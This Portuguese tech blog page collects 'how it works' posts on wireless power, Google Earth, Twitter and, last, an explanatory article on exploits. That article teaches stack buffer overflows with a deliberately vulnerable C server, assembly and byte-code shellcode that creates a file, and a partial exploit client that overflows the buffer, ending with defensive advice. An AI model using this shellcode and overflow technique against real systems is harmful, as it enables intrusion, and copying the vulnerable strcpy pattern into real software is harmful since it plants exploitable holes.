Mostrando postagens com marcador Como funciona. Mostrar todas as postagens
Mostrando postagens com marcador Como funciona. Mostrar todas as postagens

Como funciona a energia elétrica sem fio

13 de maio de 2010

Você não leu errado, não estamos falando de redes wireless, estamos falando de energia wireless, energia elétrica transmitida sem fio, diretamente para o dispositivo e de forma segura.
É o que promete a Powercast, uma pequena empresa Americana que está com um produto interessante para equipamentos à pilhas e pequenas bateriais. A própria Powercast foi criada em torno da tecnologia, é esta a sua especialidade.
A Powercast criou um pequeno transmissor que envia baixas voltagens de energia pelo ar, a partir de uma tomada, usando ondas de radio, de forma segura para nós humanos.
As ondas de rádio mudam a freqüência quando encontram paredes ou objetos. Pequenos receptores que estão no equipamento, os Powerhavesters (vide figura abaixo), que pode ser um MP3 player ou um celular, “ouvem” a freqüência e capturam 70% da energia do sinal de rádio. Esta freqüência é convertida em eletricidade.
As possibilidades são ilimitadas, imagine se juntarmos com os LEDs…
powercast - Como fuciona o Powerquest

Como funciona o Google Earth

8 de outubro de 2009

Introdução

Muitas pessoas utilizam algum programa de mapeamento online. Eles são ótimos para quem se perde com facilidade e, além disso, são ótimos para localizar países, cidades e até ruas.




A visão inicial do Google Earth

Mas o Google Earth não é um aplicativo comum de mapeamento. Digite "Denver, CO" na caixa de pesquisa do Google Earth e você saberá a localização de Denver em relação a Grand Junction e como ir da sua casa à rua Curtis, nº 1600, no centro de Denver.
Mapa completo!
Nasa e Japão criam o mapa topográfico mais completo da Terra. Ele cobre 99% da superfície terrestre e, no futuro, poderá ser baixado gratuitamente pela internet.


Na mesma busca, no entanto, você poderá também verificar que a rua Curtis, nº 1600, está no CEP 80202 e que existem estabelecimentos da Starbucks Coffee bem próximos a esse endereço. Você pode afastar a imagem com o zoom e ter uma visão panorâmica da Terra e, depois, voltar a aproximar a imagem como se estivesse caindo diretamente na rua Curtis, nº 1600. Além disso, se você clicar em "Cidade Proibida" na coluna "Viajar", terá uma idéia de como seria voar como o Super-homem da rua Curtis, nº 1600, em Denver, para o Palácio Proibido em Beijing, na China. O aplicativo é muito fácil de usar, mas existem muitas funções que devemos aprender. Então vamos ver como ficar preparados para usar o Google Earth.

O que é o Google Earth?

O Google Earth está disponível, atualmente, para download como um aplicativo de desktop, embora seja necessário estar conectado à internet para utilizá-lo. Cada vez que você abre o Google Earth, ele se conecta automaticamente aos servidores do Google, concedendo-lhe acesso a muitos terabytes de dados geográficos, políticos e sociais. Por exemplo, é possível visualizar uma cidade com certas "camadas" ligadas, incluindo informações topográficas, dados sobre a população e estatísticas criminais. Todas as camadas e botões do mapa de navegação (incluindo o zoom e funções como ir para cima e girar) estão localizados numa espécie de caixa de controle do Google Earth.



Página de lançamento com barra de ferramentas
A grande vantagem atual é que a versão básica do Google Earth é completamente gratuita e não há anúncios. Claro que isso pode mudar futuramente, por isso, vamos começar fazendo o download da versão gratuita do software em Earth.Google.com (em inglês) enquanto ela ainda é gratuita e não possui anúncios. Se o seu computador possui Windows, Linux ou Mac OS X 10.3.9 (ou superior) e menos de cinco anos de vida útil, você não terá problemas. Se o seu computador não conseguir rodar o aplicativo, continue lendo para saber como utilizar o programa depois que você atualizar seu equipamento.
Depois de abrir o Google Earth e começar a navegar, você notará imediatamente um dos aspectos mais impressionantes do programa: algumas das informações são tridimensionais e o restante são fotografias, não existem mapas ilustrados. Os dados da base visual vêm de imagens de satélite e fotografias aéreas tiradas por uma aeronave.
O Google Earth compreende uma gama de recursos que, provavelmente, levariam anos para serem totalmente utilizados. Os recursos básicos se encaixam perfeitamente nas seguintes categorias:
  • mapeamento/direções
  • pesquisa local
  • turismo
Discutiremos cada um desses recursos nas seções a seguir. Mas primeiro, vamos descobrir de onde o Google Earth obtém seus dados.

Versões do Google Earth
A versão básica é gratuita e é um ótimo software. Mas se você quiser mais ou pretende utilizar o programa para aplicativos comerciais, existem versões para assinantes do Google Earth que oferecem funções adicionais. O Google Earth Plus custa US$ 20 por ano e oferece várias atualizações, incluindo uma resolução de 1400 pixels para impressão (o Google Earth gratuito possui uma resolução de 1000 pixels) e a possibilidade de importar dados a partir de um dispositivo GPS. O Google Earth Pro custa US$ 400 por ano e oferece uma resolução de 2400 pixels para impressão, suporte para GPS e planilhas, medidas de área e vários aplicativos que podem ser incluídos, como confecção de filmes e módulos de tráfego de dados. Para mais informações, consulte A família de produtos Google Earth (em inglês).



Fontes de dados do Google Earth

O Google Earth já foi um programa premium denominado Keyhole que custa em torno de US$ 90. Quando a Google comprou o Keyhole, herdou muitos terabytes de dados de mapeamento digital e criou uma versão básica do software que seria disponibilizada para download gratuito.


Monte St. Helens, estado de Washington, EUA
Os mapas fotográficos disponíveis no Google Earth provêm, principalmente, de duas fontes: satélites e aeronaves. A Google obtém estas imagens e outras informações sobre mapeamento digital a partir de fontes como a TeleAtlas e a EarthSat. Ambas compilam fotografias e mapas em formato digital para aplicativos comerciais. Como os dados vêm de fontes diferentes, são fornecidos também em resoluções diferentes, o que explica por que algumas áreas do globo parecem bem claras enquanto outras parecem embaçadas. Ao utilizar o Google Earth, você não visualizará as imagens em tempo real: de acordo com a Google, as informações não possuem mais de três anos e são atualizadas continuamente conforme novos dados são obtidos.
O Google Earth cobre os Estados Unidos, o Canadá e o Reino Unido em nível de ruas, significando que você pode aproximar a visualização e ler nomes de ruas e de estabelecimentos locais, além de obter informações sobre direções a seguir. O banco de dados possui uma grande quantidade de informações também sobre a Europa Ocidental, mas não para o restante do mundo. Você pode aproximar a visualização e conseguir uma ótima imagem das pirâmides do Egito, mas não conseguirá ler os nomes das ruas nem localizar um determinado estabelecimento nessa área.


Isto nos leva a uma nova fonte de dados do Google Earth: a ferramenta de busca (em inglês) Google. Parte do que torna o Google Earth tão interessante é sua colaboração com a ferramenta de busca Google. Quando você está visualizando uma cidade, pode procurar por cafés, restaurantes, açougues, bares e muitos outros estabelecimentos na vizinhança. Além disso, você poderá clicar neles para obter informações detalhadas a partir da ferramenta de busca Google. Os usuários podem também adicionar a localização de um estabelecimento a um mapa clicando em "Adicionar/Editar uma Lista de Estabelecimentos" na barra de ferramentas do Google Earth.
Agora vamos voltar a utilizar o Google Earth. Na próxima seção, vamos aprender as funções básicas.

Funções básicas

A melhor maneira de se familiarizar com o Google Earth é escolher um local e ver o que o Google Earth mostrará sobre ele. Vamos começar pelos escritórios da HowStuffWorks em Atlanta, GA. Se você digitar "3350 Peachtree Rd. Atlanta, GA" na caixa de busca do Google Earth e clicar em "Pesquisar," você será "transportado" até os escritórios da HowStuffWorks. Abaixo você pode visualizar uma fotografia do local.


Para obter mais informações e transformar a fotografia em um mapa, a próxima etapa é utilizar algumas camadas. As camadas disponíveis incluem restaurantes, alojamentos, bancos, ruas, terrenos, shoppings, açougues, postos de gasolina, parques, trânsito, escolas e características geográficas.
Para criar uma mapa funcional, você deve ativar a camada "ruas". Se se afastar um pouco, terá um bom mapa da área que cerca o endereço: Rua Peachtree, nº 3350, em Atlanta.


Digamos que essa pequena turnê por Atlanta inclua uma parada nos escritórios da HowStuffWorks, seguida de uma viagem ao Georgia Dome para assistir a uma partida dos Falcons. Um clique no botão direções do Google Earth revela dois caminhos: um para o endereço inicial (3350 Peachtree Rd. Atlanta, GA) e um para o endereço final (1 Georgia Dome Dr NW, Atlanta, 30313). Ao clicar em "Pesquisar" você verá instruções escritas e também uma rota destacada no mapa, que se afastará, automaticamente, para que a rota toda (da HowStuffWorks para o estádio) caiba na tela.


Você poderá salvar, imprimir ou mandar por e-mail todos os mapas e informações que gerou. Existem botões na barra de ferramentas do Google Earth para cada uma dessas ações.
Neste ponto, digamos que o jogo dos Falcons tenha acabado e que você queira jantar. É aí que você utilizará a pesquisa local para localizar um restaurante
A primeira coisa que faremos é centralizar novamente o mapa para alterar o foco. Para isso, clicamos com o botão esquerdo em qualquer lugar do mapa e arrastamos até que o Georgia Dome fique no centro (alternativamente, poderíamos também simplesmente digitar "1 Georgia Dome Dr" na caixa de pesquisa original e ir diretamente para lá: isso também colocará o Dome no centro). É possível se aproximar e ter uma ótima visão do Dome.


Para descobrir quais os restaurantes localizados nas proximidades do Georgia Dome, clique no botão "Local Search" e digite "restaurantes" na caixa "O que está procurando?" e deixe a "Visualização atual" padrão na caixa "Onde". Ao clicar em "Pesquisar", o resultado será:


O mapa se afastou levemente e centralizou os resultados sobre restaurantes e, ao mesmo tempo, manteve o Georgia Dome visível. Porém, esta não é a única maneira de localizar restaurantes. Você poderá também ativar a camada "jantar", que não depende de nenhuma palavra-chave mas, em vez disso, pesquisa toda a categoria "Jantar", que engloba os restaurantes da área. Eis o que ocorre quando você faz isso:


Agora você possui ainda mais opções.
Nesta seção, mostramos as funções básicas do Google Earth. Porém, a maioria do que abordamos aqui também é oferecido por outros aplicativos de mapeamento, embora não se comparem à beleza das imagens do Google Earth. O que diferencia este programa dos demais são as funções que fazem dele um passatempo e não somente um utilitário.

 Artigo baseado no do site http://informatica.hsw.uol.com.br
Até o próximo post. -> @joao2218

Como funciona o Twitter

4 de outubro de 2009

Muitos têm, mas sequer sabe o que realmente faz o twitter. Confesso que eu também não sabia, mas depois de ler esse artigo no "Como tudo funciona" adquiri o conhecimento. Reproduzirei alguns dos artigos dele aqui no blog.

Como funciona o Twitter

Introdução

Muitos sites de redes sociais têm várias funções. Sites como o MySpace e o Facebook permitem que os usuários criem perfis, adicionem fotos, incluam recursos multimídia, mantenham um blog e integrem programas úteis ou bizarros em suas páginas iniciais. Mas uma empresa online com um serviço bem simples está rapidamente se tornando um dos mais famosos provedores de serviço na rede social: o Twitter.


Twitter's Web site
Foto cedida Twitter, Inc.
Você pode se conectar ao Twitter através de seu telefone, de um aplicativo de terceiros ou do próprio site do Twitter

Então, o que o Twitter faz? Quando você se inscreve no Twitter, você pode usar o serviço para postar e receber mensagens de uma rede de contatos. Em vez de enviar uma dúzia de e-mails ou mensagens de texto, você pode mandar uma mensagem para sua conta no Twitter e o serviço a envia para todos os seus amigos. Os membros usam o Twitter para organizar reuniões inesperadas, manter uma conversa em grupo ou simplesmente para enviar uma novidade rápida e contar às pessoas o que está acontecendo.

Apenas um pequeno texto

Algumas pessoas chamam o Twitter de micro-blogging, com mensagens muito curtas. Os usuários podem contar as novidades para as pessoas, como em um blog, mas o tamanho das mensagens é limitado pelo sistema.
A história do Twitter está entrelaçada com a de algumas outras empresas na Internet. Os fundadores do Twitter são Evan Williams, Biz Stone e Jack Dorsey. Alguns anos antes do Twitter ser criado, Williams criou o Blogger, um serviço de blog popular. O Google, gigante da Internet, comprou o Blogger e Williams começou a trabalhar diretamente para o Google. Em pouco tempo, ele e Biz Stone, na época um funcionário do Google, deixaram o gigante da Internet para fundar uma nova empresa chamada Odeo.


Twitter founders, Biz Stone and Jack Dorsey
Kara Andrade/AFP/Getty Images
Biz Stone (à esquerda) e Jack Dorsey são os co-fundadores da Obvious, em São Francisco, uma empresa que começou com 10 pessoas e está por trás do popular Twitter

A Odeo é uma empresa que oferece serviços de podcasting. De acordo com Williams, ele não tinha um interesse pessoal em podcasting, e sob a sua orientação a empresa perdeu o foco por algum tempo. No entanto, um dos produtos da Odeo estava apenas começando a ganhar força: o Twitter, um novo serviço de mensagens. Stone nomeou o serviço de Twitter como uma comparação entre a troca de informações em pequenas porções e o gorjear dos pássaros, e apontou que muitos toques parecem com os cantos de pássaros [fonte: San Francisco Chronicle].
Quando o serviço se tornou uma parte mais importante da Odeo, Stone e Williams decidiram criar uma nova empresa com o Twitter como o produto principal. Williams comprou os direitos da Odeo e do Twitter de investidores, juntou a empresa e o serviço que já existiam e criou uma nova empresa chamada Obvious Corporation. Jack Dorsey se juntou à equipe e começou a desenvolver novas maneiras para os usuários utilizarem o Twitter, inclusive através de aplicativos de computador como mensagem instantânea e e-mail. Em março de 2006, o Twitter se separou da Obvious para se tornar uma empresa, a Twitter Incorporated.
Neste artigo, vamos aprender sobre a interface de programação de aplicativo (API) do Twitter. Vamos descobrir o que é um Tweet e ver todas as maneiras diferentes de criá-lo e lê-lo. Também vamos ver como o Twitter pode interagir com aparelhos móveis como os celulares.

Na próxima seção, você verá exatamente o que é um Tweet.

Até o próximo post. -> @joao2218

» Técnicas de invasão » Como funcionam os exploits

15 de abril de 2009






» Como funcionam os exploits



Como funcional os Exploits

Resumo – Este documento descreve o que são e como funcionam os exploits, procurando mostrar, através de um exemplo real, os riscos que essas ferramentas de ataque representam para uma rede de computadores.

1 Introdução

Nos dias actuais são indiscutíveis os grandes benefícios obtidos por meio da interligação dos computadores em uma única e grande rede acessível a partir de qualquer ponto do globo.
A Internet, essa grande teia que une milhões de computadores em torno do mundo, é uma conquista irreversível que admite um único futuro: uma contínua e freqüente expansão.
Entretanto, com o advento dessa incrível interconexão de máquinas em escala mundial, muitos ainda são os problemas que precisam ser resolvidos para que os usuários obtenham uma razoável segurança na utilização dos serviços disponibilizados na grande rede. Cada novo serviço ou funcionalidade implementada pelos fabricantes de softwares utilizados nas redes de computadores encontra, frequentemente, uma imediata resposta de hackers e crackers. Esses “usuários” utilizam seus conhecimentos avançados de programação de computadores para explorar falhas existentes nos códigos desenvolvidos para essas novas funcionalidades. Esse é um problema do qual ninguém está totalmente livre. Conforme (FIREWALLS SECURITY CORPORATION) , até mesmo programas famosos e considerados seguros já foram lançados no mercado com esse tipo de vulnerabilidade.
Essas investidas contra fraquezas nos sistemas operacionais e aplicativos são apoiadas por ferramentas conhecidas como exploits. O resultado desses ataques pode ser simplesmente uma momentânea indisponibilidade do serviço (DOS – Denial Of Service) ou, na pior situação, a abertura de um acesso privilegiado no computador hospedeiro do serviço que sofreu o ataque. A partir desse acesso obtido, poderão ser provocados prejuízos imprevisíveis dentro da rede atacada.
Este trabalho procura descrever como funcionam e quais os resultados do ataque desses exploits. O objectivo do trabalho é dar subsídios aos administradores de rede e desenvolvedores de aplicativos na difícil tarefa de tentar evitar ou, pelo menos, responder o mais rápido possível a ataques desse tipo.

2 O que são exploits

O termo exploit, que em português significa, literalmente, explorar, na linguagem da Internet é usado comummente para se referir a pequenos códigos de programas desenvolvidos especialmente para explorar falhas introduzidas em aplicativos por erros involuntários de programação.
Esses exploits, que podem ser preparados para atacar um sistema local ou remotamente, variam muito quanto à sua forma e poder de ataque. Pelo fato de serem peças de código especialmente preparadas para explorar falhas muito específicas, geralmente há um diferente exploit para cada tipo de aplicativo, para cada tipo de falha ou para cada tipo de sistema operacional.
Os exploits podem existir como programas executáveis ou, quando usados remotamente, podem estar ocultos, por exemplo, dentro de uma mensagem de correio eletrônico ou dentro de determinado comando de um protocolo de rede.

3 Como funcionam os exploits

Os exploits quase sempre se aproveitam de uma falha conhecida como buffer overflow (estouro de buffer).
O buffer overflow acontece quando um programa grava informação em uma certa variável, passando, porém, uma quantidade maior de dados do que estava previsto pelo programa. Essa situação possibilita que um código arbitrário seja executado, necessitando apenas que este seja devidamente
posicionado dentro da área de memória do processo.
No codigo abaixo pode ser visto um simples exemplo de um programa vulnerável a um ataque de buffer overflow. O problema está na segunda linha da função ProcessaParm, que não critica o tamanho do parâmetro recebido na variável arg.
void ProcessaParm(char *arg);
void main(int argc, char *argv[])
{
if (argc > 1)
{
printf(”Param: %s\n”,argv[1]);
ProcessaParm(argv[1]);
}
}
void ProcessaParm(char *arg)
{
char buffer[10];
strcpy(buffer,arg); /* PROBLEMA: se a string contida em arg
tiver mais que 10 carateres havera
um “buffer overflow” */
printf(buffer);
}

Codigo 1: Programa vulnerável a buffer overflow
O buffer overflow, quando ocorre de forma aleatória, normalmente causa um crash na aplicação. No Linux, essa situação gera a conhecida segmentation fault com core dump. Porém, quando correctamente induzido pelo atacante, o buffer overflow pode permitir que se execute um código malicioso que terá os
mesmos privilégios de execução do aplicativo atacado.
Embora o problema do buffer overflow seja conhecido há muito tempo, somente nos últimos anos ele passou a ser amplamente explorado como ferramenta de ataque.
Para entender completamente como o buffer overflow é explorado para se obter acessos indevidos ao sistema, é necessário em primeiro lugar compreender como os processos são organizados em memória. Cada arquitectura de hardware, sistema operacional ou compilador pode organizar de forma diferente um processo em memória. Na figura 1 é possível ver um diagrama que representa essa organização para um programa escrito na linguagem C em um sistema Linux/i386.
Figura 1: Organização dos processos em memória…
A área de programa armazena o código executável. Na área de variáveis globais são alocadas todas as variáveis globais e estáticas; enquanto que a área de heap é reservada para alocação local e dinâmica de memória. Finalmente, a área de pilha é usada para salvar registradores, salvar o endereço de retorno de subrotinas, criar variáveis locais bem como para passar parâmetros na chamada de funções.
Como pode ser observado na figura 1, os ponteiros da pilha e do heap crescem em sentidos opostos, convergindo para o centro da área livre que é comum às duas estruturas de memória. Esse artifício é usado para otimizar o uso da memória livre na área de dados do processo. Entretanto, como será visto ainda nesta seção, essa característica possibilita que os ataques sejam feitos tanto pela pilha quanto pelo heap.
Na figura 1 é possível ver os elementos envolvidos no processo de chamada de uma função.
Normalmente, quando uma função é chamada, os seguintes passos são executados:
1) Os parâmetros da função são colocados da pilha em ordem inversa.
2) Quando a instrução call é executa, o endereço de retorno é armazenado para permitir o retorno
da função à instrução imediatamente seguinte àquela que a chamou.
3) Já dentro da função, o conteúdo do registrador EBP, que é usado como apontador do stack frame, é colocado da pilha para ser recuperado no final da função.
4) Registrador EBP é carregado com o valor atual do ponteiro de pilha (SP).
5) O ponteiro da pilha é decrementado em N bytes, onde N é a quantidade de bytes necessários para a criação das variáveis locais.


Figura 2: Uso da pilha na chamada de uma função…
Devido a essa sua característica, a pilha é o “calcanhar de aquiles” de toda essa estrutura. Com muita paciência, persistência e algum conhecimento de assembly e C, é possível alterar o valor do endereço de retorno do programa e redirecioná-lo para um código malicioso.
A partir desse momento, o ponteiro de instruções do processo passa a ser inteiramente controlado pelo atacante, que poderá fazer qualquer chamada a funções disponíveis no sistema.
A alteração do endereço de retorno pode ser feita tanto pelo “estouro” de uma variável local alocada na pilha quanto pelo “estouro” da área de heap. Da mesma forma, o código malicioso, para onde o programa será desviado, pode ser colocado tanto no heap quanto na pilha. Nas figuras 3 e 4 pode ser vista uma representação da memória durante um ataque de pilha e de heap, respectivamente.


Figura 3: Situação da pilha em um ataque de buffer overflow sobre a pilha…


Figura 4: Situação da pilha em um ataque de buffer overflow sobre o heap…
Como pode ser visto na figura 4, os exploits baseados no heap são mais difíceis de se construir devido à dificuldade de se determinar com precisão o tamanho da área entre o heap e a pilha.
Recentemente, os sistemas operacionais têm implementado mecanismos de bloqueio de execução de códigos na área de pilha e de heap. Essa medida tem por objetivo evitar esses ataques. Porém, para contornar essa dificuldade, uma outra variante do ataque foi desenvolvida. Essa nova tática, conhecida como “retorno à libc”, descrita em (MCDONALD,1999), consiste em desviar o programa para uma função da libc (system(), por exemplo), portanto dentro da área de código, onde não há qualquer restrição de execução
de programas.
A criação de novas técnicas de ataque é apenas uma questão de tempo. Por exemplo, uma técnica mais recente que o buffer overflow, e muito mais complexa do que esta, é a exploração do Format String Bug, detalhada com muita precisão em (THUEMMEL,2001).
Na seção 4 será apresentado, passo a passo, um exemplo de um exploit baseado no estouro da pilha.
Essa variante de exploit foi escolhida para ser analisada aqui por ser, dentre as técnicas de explorações de buffer overflow, a de menor dificuldade de implementação e a que mais tem sido usada ultimamente.

4 Um exemplo de exploit baseado no buffer overflow de pilha

Em um ataque de estouro da pilha, normalmente o atacante terá que responder as seguintes questões antes de poder construir o exploit propriamente dito:
Qual o tamanho do buffer?: em softwares livres isso é facilmente conseguido pelo fato dos fontes do programas serem de domínio público. Aqui não há demérito algum para o software livre uma vez que, fazendo um paralelo com a criptografia, conforme (UCHOA,2003), a segurança baseada na obscuridade é
restrita e deve ser evitada.
O que vai ser executado dentro do código malicioso?: para responder a essa pergunta o atacante deve conhecer uma linguagem de baixo nível, preferencialmente C, que será utilizada para construir o exploit. Além disso, é necessário que se conheça também um pouco de Assembly e do programa de
depuração gdb. A premissa utilizada aqui é fazer um programa tão poderoso que faça todo o trabalho necessário e tão pequeno que caiba dentro da área de buffer.
Normalmente, a seqüência é: criar o programa em C, compilá-lo, abri-lo com o gdb, “anotar” os códigos binários das instruções referentes ao trecho necessário. Esses códigos anotados do gdb serão guardados em uma variável do exploit, que os utilizará na construção da mensagem que será enviada ao servidor.
Como “estourar” o buffer do servidor?: aqui, principalmente, é onde entra a especificidade de cada exploit. Novamente o atacante se utiliza do conhecimento dos fontes dos programas para conhecer todos os fatos necessários ao ataque. Não fosse o conhecimento dos fontes, isso ainda seria possível pelo menos de duas formas diferentes: ou através de engenharia reversa, utilizando-se de uma ferramenta de depuração (gdb, por exemplo), ou através da tentativa e erro, enviando grandes strings em qualquer parte do
programa em que há entrada de dados por parte do usuário.
O código 2 mostra um trecho do programa que será alvo do ataque. Trata-se aqui de um programa muito simples que tem por finalidade apenas servir aos propósitos didáticos deste trabalho. O programa implementa apenas duas funções: a função main(), que é responsável por “ouvir” a porta UDP 1234 e a função TrataMensagem(), que é chamada a cada mensagem recebida pelo servidor.
O programa cliente será o exploit, que preparará uma mensagem de forma tal que provoque o buffer overflow no servidor. Esse ataque abrirá, no servidor, um backdoor que será usado em seguida pelo atacante para continuar seu “trabalho”.
Procurando responder a segunda questão colocada no início desta seção, foi desenvolvido o código apresentado no codigo 3. Neste trabalho, a única ação do atacante será criar o arquivo /bin/sx. Outros comandos poderiam ser acrescentados ao código para efetuar outras ações, como, por exemplo, incluir um usuário no arquivo /etc/passwd. Para criar o arquivo /bin/sx foi usada a system call sys_creat, através da instrução int 0×80. Após criar o arquivo, o exploit simplesmente encerra a execução do servidor.
listen(Sock, 1);
while(1)
{
Tam = sizeof(struct sockaddr_in);
if((Novo=accept(Sock, (struct sockaddr *)&Cliente,&Tam))==1) exit(1);
memset(Mens,0,strlen(Mens));
if(read(Novo,Mens,sizeof(Mens)) < 0) exit(2); TrataMensagem(Mens); close(Novo); } void TrataMensagem(char *Mens) { char Buffer[256]; strcpy(Buffer,Mens); /* VULNERABILIDADE: caso Mens seja maior que 256, haverá o estouro*/ . . . }

Código 2: Trecho do programa servidor alvo do ataque
void main() {
__asm__("
jmp INICIO
FUNCAO:
pop %esi
xor %eax,%eax
movb %eax,7(%esi)
mov %esi,%ebx
movb $0x8,%al
mov $0xfffff1ff,%ecx
int $0x80
movb $1,%al
xorl %ebx,%ebx
int $0x80
INICIO:
CALL FUNCAO
.string \"/bin/sx \"
");
}

Código 3: Código malicioso em assembly
No código 3 pode ser visto o código Assembly para esse pequeno programa. Para compilar o
programa, foi usado o comando: gcc -g -o prog prog.c -ldb.
unsigned char cod[]={
0xeb,0×1f,
0×90,0×90,0×90,0×90,
0×5e,
0×31,0xc0,
0×88,0×46,0×07,
0×89,0xf3,
0xb0,0×08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0×80,
0xb0,0×01,
0×31,0xdb,
0xcd,0×80,
0×90,0×90,0×90,0×90,
0xe8,0xe0,0xff,0xff,0xff,0};

Código 4: Versão em byte code do código malicioso
O atacante deve conhecer previamente o endereço da área de memória onde está o comando que será executado. Outro endereço a ser descoberto em tempo de execução é o da string que contém o nome do arquivo a ser criado. Aqui, foi utilizada a técnica descrita em (ARANHA,2003), que consiste em iniciar o programa com um salto para uma instrução imediatamente anterior ao endereço que se quer conhecer. Em seguida o programa deve ser desviado para o restante do código através da execução da intrução call. Dessa forma, o endereço da string é armazenado na pilha, podendo, assim, ser lido pelo restante do código malicioso.
Usando o gdb, o código malicioso deve ser exportado em formato hexadecimal. Nesse caso pode ser usado o comando do gdb: x/bx . A saída hexadecimal do código pode ser vista no codigo 4.
O codigo 5 mostra a parte do código do exploit responsável por montar o buffer e enviá-lo para o servidor. Como pode ser visto, o código do exploit em si é muito simples. Na verdade, a grande dificuldade reside nos passos anteriores, onde devem ser identificados os endereços de dados e de funções que serão usados pelo código malicioso quando este estiver executando no servidor alvo.
#include
#define TAM_BUFFER 256
unsigned char cod[]={
0xeb,0×1f,
0×90,0×90,0×90,0×90,
0×5e,
0×31,0xc0,
0×88,0×46,0×07,
0×89,0xf3,
0xb0,0×08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0×80,
0xb0,0×01,
0×31,0xdb,
0xcd,0×80,
0×90,0×90,0×90,0×90,
0xe8,0xe0,0xff,0xff,0xff,0};
char comando[]=”/bin/sx “;
main(int argc, char **argv)
{
unsigned char Buffer[TAM_BUFFER+9];
long end;
end=0xbffff71c;
memset(Buffer,’A',TAM_BUFFER);
strcpy(Buffer,cod);
strcat(Buffer,comando);
Buffer[strlen(Buffer)]=’A';
*(long *)&Buffer[TAM_BUFFER] = 0xcacacaca;
*(long *)&Buffer[TAM_BUFFER+4] = end;
Buffer[TAM_BUFFER+8] = 0;
.
.
.
if(connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) exit(1); write(Sock, Buffer, TAM_BYFFER+20); }

Código 5: Primeira parte do exploit

5 Conclusão

As técnicas aqui mostradas, e muitas outras, estão disponíveis em diversos sites da Internet, mostrando a dialética aí envolvida, onde a própria Internet traz em si os elementos capazes de destruí-la, mas que ao mesmo tempo, são a fonte de seu desenvolvimento. Enquanto os atacantes se utilizam de falhas deixadas ao longo do desenvolvimento da Internet, as equipes de desenvolvimento e segurança se utilizam das técnicas empregadas pelo atacantes - geralmente técnicas avançadas de programação - para produzir seus
antídotos, bem como novas funcionalidades.
Como ações de proteção contra esses ataques, recomenda-se a atualização constante do sistema, aplicando-se os patches necessários, ou mesmo promovendo os devidos upgrades de versão.
Para os programadores, a recomendação não poderia ser outra: atenção! Muita atenção! O menor descuido pode ser a oportunidade que o atacante precisa. Deve-se, sempre que possível, evitar funções que podem causar buffer overflow, tais como strcpy, que deve ser substituída por sua equivalente strncpy.
Ao usar funções passíveis de exploração pela técnica Format String Bug, tais como printf, evitar aplicar a essas funções os valores fornecidos diretamente pelo usuário do programa. Se possível, substituir a libc por versões seguras de biblioteca padrão, tais como a libmib (http://www.mibsoftware.com/libmib/astring/)
ou libsafe (http://www.research.avayalabs.com/project/libsafe/).
Afinal, ninguém pode dizer que está livre de ser atacado, porém esse fato não deve ser desculpa para que não se procure, por todos os meios possíveis, impor aos atacantes, senão uma missão impossível, pelo menos uma tarefa extremamente árdua.


 
Naftalina Tech! - Tecnologia - Todos os direitos reservados. | Template Clean, criado por Tutoriais Blog.